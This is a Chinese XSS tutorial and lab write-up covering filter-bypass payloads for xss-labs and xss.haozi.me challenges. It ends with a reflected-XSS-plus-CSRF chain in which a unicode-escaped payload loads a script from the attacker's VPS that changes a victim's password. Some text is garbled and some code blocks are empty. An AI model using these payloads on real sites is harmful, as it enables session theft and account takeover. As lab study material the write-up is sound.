总字符数: 6.40K
代码: 1.47K, 文本: 1.46K
预计阅读时间: 13 分钟
XSS攻击方式与实例
XSS盗取用户信息
XSS盗取Cookie
XSS钓鱼攻击
XSS蠕虫攻击
XSS蠕虫的破坏力和影响力都是巨大的.XSS蠕虫主要发生在您户之间存在交互行为的页面中,当Web应用
程序对用户输入的数据信息没有做严格的过滤时,通过结合2v的吴步提交 ,就可以实现在植入恶意代码的同时
将恶意代码进行对外发送,即实现了代码的感染和传播,也就形成了XSS蠕虫
语法逃逸
当我们发现我们的xss标签被嵌入到属性里的时候,我们就需要想办法把这个标签闭合掉
Palyload:"><script>alert(1)</script><"

现在我们就成功的将属性给闭合掉了
‘逃逸出转义后的属性
我们发现用上一关的闭合方法并没有把他当成JS代码

我们查看一下php代码
1 |
|
看到使用了htmlspecialchars
方法,它的作用是将特殊符号转换成HTML实体
HTML实体:HTML为了防止特殊符号,如 “<”等,html当成标签
这时候我们的思路就尽量要绕开使用新标签,那么浏览器还有一些事件可以执行js代码,如onfocus,onblur,但是这两个是属于输入框在光标进入/离开时调用后面的js代码(可以用函数形式或者javascript:~~)
payload:' onclick ='javascript:alert(1)'//
href属性绕过

我们发现onclick
事件也被过滤了,那我们想办法换个标签,比如构造a标签试一下
payload:"></input><a href='javascript:alert(1)'>asd</a>

大小写绕过
Payload:1"><ScRipt>alert(1)</ScRipt>
双写绕过
Payload:"><scriscriptpt>alert(1)</scrscriptipt><
HTML实体编码绕过
payload:JavaScript:alert(1)


hidden属性绕过
less10
HTML特性:当属性冲突时,则会从左往右覆盖
那么根据隐藏的input的name构造传值,让它们的type改变,不再隐藏,谁出来了谁就能利用
1 | t_link=" type='text'>//&t_history=" type='text'>//&t_sort=" type='text'>// |
referer绕过
referer:" type='text' onclick='javascript:alert(1)'>//
UA绕过
同上
Cookie绕过
同上
XSS作业
0x00

0x01

0x02
属性 | 值 | 描述 |
---|---|---|
oninput | script | 当元素获得用户输入时运行的脚本. |

0x03
**过滤()**可以用反撇号
绕过

0x04
过滤了()And`
payload:<img src=x onerror="alert(1)"></img>

0x05
这个--!>
用闭合注释符--!><img src=x onerror="alert(1)"><!--

0x06
oninput ="alert(1)"
将on和=用回车隔开

0x07
这个是过滤了所有以/<\/?[^>]
开头>
结尾的字符,所以最后面不加>
就好了

0x08
这个是过滤了</style>
标签导致无法闭合,所以用换行将它分开以绕过
1 | </style |

0x09
这个限制了URL
,后面按正常套路闭合就行了
1 | https://www.segmentfault.com"></script><img src="x" onerror="alert(1)">// |
0x0A
这个用到了@
,在URL中会解析@
后面的网址,如果你的没弹出来试试换个浏览器,我的用火狐就可以了
1 | https://www.segmentfault.com@xss.haozi.me/j.js |

0x0B
这个题将所有的字母都换成了大写,所以要将alert(1)
进行HTML实体字符转换
1 | <img src="x" onerror="alert(1)"> |

0x0C
这个是增加了script
的过滤,不过显得有点多余
<img src="X" onerror="alert(1)">

0X0D
这个是将输入内容带入到了注释中,可以用换行逃逸.由于过滤了单引号'
,所以后面的')
可以用-->
注释掉
1 |
|

0x0E
此题是将标签里的第一个字母前加上下划线_
,并且在h1标签里,作者的想法是用阿拉伯字母ſ
替换s
的大写
1 | <ſcript src="https://xss.haozi.me/j.js" ></script> |

0x0F
此题需要闭合前面的内容同时注释掉后面的');alert(1)//

0x10
这个跟sql注入里的堆叠注入是一个意思0;alert(1)

0x11
跟0x0F一样后面,后面可以用//
注释掉也可以用("
闭合掉");alert(1);//

0X12
由于"
被替换成了\\
,所以要用\
进行转义\");alert(1);//

XSS (Reflected)配合CSRF跨域
vps中存放1.js
1 | ifr = document.createElement('iframe'); |
由于hidh等级采用了正则过滤,所以我们要实体编码部分字段
1 | <svg/onload=i=document.createElement('\u0073\u0063\u0072\u0069\u0070\u0074');i.src='\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0059\u004f\u0055\u0052\u002d\u0056\u0050\u0053\u002d\u0049\u0050\u002f\u0031\u002e\u006a\u0073';document.body.appendChild(i);> |


默认密码为pssword

将准备好的payload复制到输入框内:

退出后使用默认密码登录失败

使用密码:123登录成功
